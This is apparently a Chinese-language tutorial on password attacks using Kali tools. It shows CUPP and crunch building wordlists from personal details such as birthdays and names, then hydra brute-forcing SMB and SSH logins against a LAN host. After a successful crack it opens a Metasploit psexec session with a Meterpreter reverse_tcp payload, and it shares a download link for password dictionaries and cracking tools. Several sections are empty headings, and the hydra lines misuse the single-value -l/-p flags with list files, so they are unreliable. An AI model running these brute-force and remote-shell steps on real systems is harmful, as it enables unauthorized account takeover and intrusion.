目录
1.CUPP（kali）
2.亦思社会工程学学点生成器
3.一句话密码破解工具
4.crunch（kali）
5.hydra（kali）
1.CUPP（kali）
首先，安装cupp软件
apt install -y cupp
新建一个文件夹，用于保存生成的字典
输入 cupp -i 命令开始编辑生成字典
根据自己已知的信息，生成字典。
查看生成的字典 cat san.txt
2.亦思社会工程学学点生成器
3.一句话密码破解工具
4.crunch（kali）
crunch是kali自带的工具，是一种创建密码字典的工具。按照指定的规则生成密码字典，可以灵活的定制自己的字典文件。
首先，先尝试一个简单的命令。如图所示。1 8表示密码是8位 后面的是密码的范围，我们可以看出按照这种方式输出的字典有23TB。(切记，运行一下立马暂停，否则会卡死)
查看帮助
man crunch > crunch.help
命令格式
crunch <min-len> <max-len> [<charset string>] [options]
参数说明
min-len 设定最小字符串长度（必选）max-len 设定最大字符串长度（必选）charset string 字符集options-b 指定文件输出的大小，避免字典文件过大-c 指定文件输出的行数，即包含密码的个数-d 限制相同元素出现的次数-e 定义停止字符，即到该字符串就停止生成-f 调用库文件
特殊字符
% 代表数字^ 代表特殊符号@ 代表小写字母， 代表大写字母
查看库文件
cat /usr/share/crunch/charset.lst
如图所示，前面显示的名称，后面显示的内容是字符集 。这些都是设置好的，我们也可以自定义写一个字符集。
例子1：生成-1-8位密码字典，字符集合为小写字母，从a开始到zzzzzzzz结束
crunch 1 8
例子2：生成1-6位的密码字典，字符集合为[abcdefg]，从a开始到gggggg结束
crunch 1 6 abcdefg
例子3：生成指定字符串，比如生日的日期（%代表数字）
crunch 8 8 -t 199307%% -e 19930730
例子4：生成元素的组合，比如
crunch 7 7 -t %%%.com -s -e
例子5：在字典中输出特殊字符
crunch 3 3 abc -t @@@ -l @aa
例子6： 以元素组合生成字典[zhangsan|1993|0701]
crunch 4 4 -p zhangsan 1992 0701
例子6：
自定义字符集合
vim /usr/share/crunch/charset.lst
创建自定义字符集合
添加一个字符集
使用自定义字符集生成[*.com] 字典文件
crunch 5 5 -f /usr/share/crunch/charset.lst test -t @.com
5.hydra（kali）
首先，先准备两个文件：常用的账号和密码文件。这个是我从github下载的，账号和密码都有几千条。文章最后，我会将文件下载地址分享一下。
windows口令破解
hydra -l ./user.txt -p ./pass.txt smb 192.168.0.110 -vV -f -e nsr
-l指定一个用户名-p指定一个密码-P指定密码字典-L指定用户名字典-vV显示爆破细节-o保存爆破结果-f找到正确的密码就停止爆破-ennullssamer反向-t线程
爆破成功后，我们使用msf中的use exploit/windows/smb/psexec模块去链接。
建立payload set payload windows/meterpreter/reverse_tcp
查看需要配置的参数 show options
设置目标主机 set RHOSTS 192.168.0.110
设置账号和密码 set SMBPass xxx set SMBUser xxx
run或者exploit进行连接
linux口令破解
linux口令破解，也分为远程破解与本地破解。远程破解主要是爆破ssh服务，属于在线密码攻击。本地破解需要拿到linux的shadow文件，进行hash值破解，属于离线密码攻击。
破解ssh服务
hydra -l ./user.txt -p ./pass.txt ssh://127.0.0.1-vV -f -t 64
分享下载链接
亦思社会工程学字典生成器
一句话密码破解工具
常用的账号和密码字典
链接：/s/1ErRFv4vnpHZxIufOhCjK3g
提取码：bc9o
